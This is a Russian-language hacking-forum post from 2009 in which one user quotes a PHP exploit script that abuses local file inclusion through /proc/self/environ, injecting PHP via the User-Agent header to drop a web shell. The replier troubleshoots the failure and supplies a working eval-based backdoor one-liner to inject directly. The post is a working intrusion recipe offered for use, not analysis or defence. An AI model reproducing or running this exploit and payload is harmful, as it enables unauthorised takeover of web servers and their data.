Показать сообщение отдельно

  #2  
Старый 16.12.2009, 01:02
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

Цитата:
Сообщение от Matnya  
PHP код:
<?php
$host 
"www.ыаывпывпыпывпп";
$port 80;
$script "/index.php?page=../../../../../../../proc/self/environ";
$shell file_get_contents("shell.php");
$sock fsockopen($host,$port);
if(!
$sock)
    echo 
"Error";
else
{
$head "POST $script HTTP/1.1\r\n";
$head .= "Host: $host\r\n";
$head .= 'User-Agent: <?php fwrite(fopen("shell.php","w+"),$shell) ?>'."\r\n";
$head .= "Accept-Language: ru\r\n";
$head .= "Content-Type: application/x-www-form-urlencoded\r\n";
$head .= "Content-Lenght: ".strlen($shell)."\r\n";
$head .= "\r\n$shell\r\n";
fwrite($sock,$head);
while(!
feof($sock))
{
$respons .= fgets($sock,1024);
}
fclose($sock);
}
?>
почему не работает? на сайте создаётся пустой файл (без кода)
потому что php-скрипт, прописанный в user-agent, выполняется на стороне сервера (в чем и есть суть уязвимости), а ты пытаешься взять содержимое шелла со своего компьютера, а скрипт, записанный в user-agent, ищет файл на сервере, есс-но не находит и просто создает пустой файл. Вывод - все, что ты хочешь записать в файл - пиши прямо в php-код в user-agent, например <?if (isset($_REQUEST[data_time])) eval(stripslashes($_REQUEST[data_time]));?>

PS: Представляешь, чтобы было, если бы работало так, как ты хочешь? Я написал php-скрипт на сервере и читаю любой файл на ТВОЕМ компе? )))

Последний раз редактировалось Pashkela; 16.12.2009 в 01:07..
 
Ответить с цитированием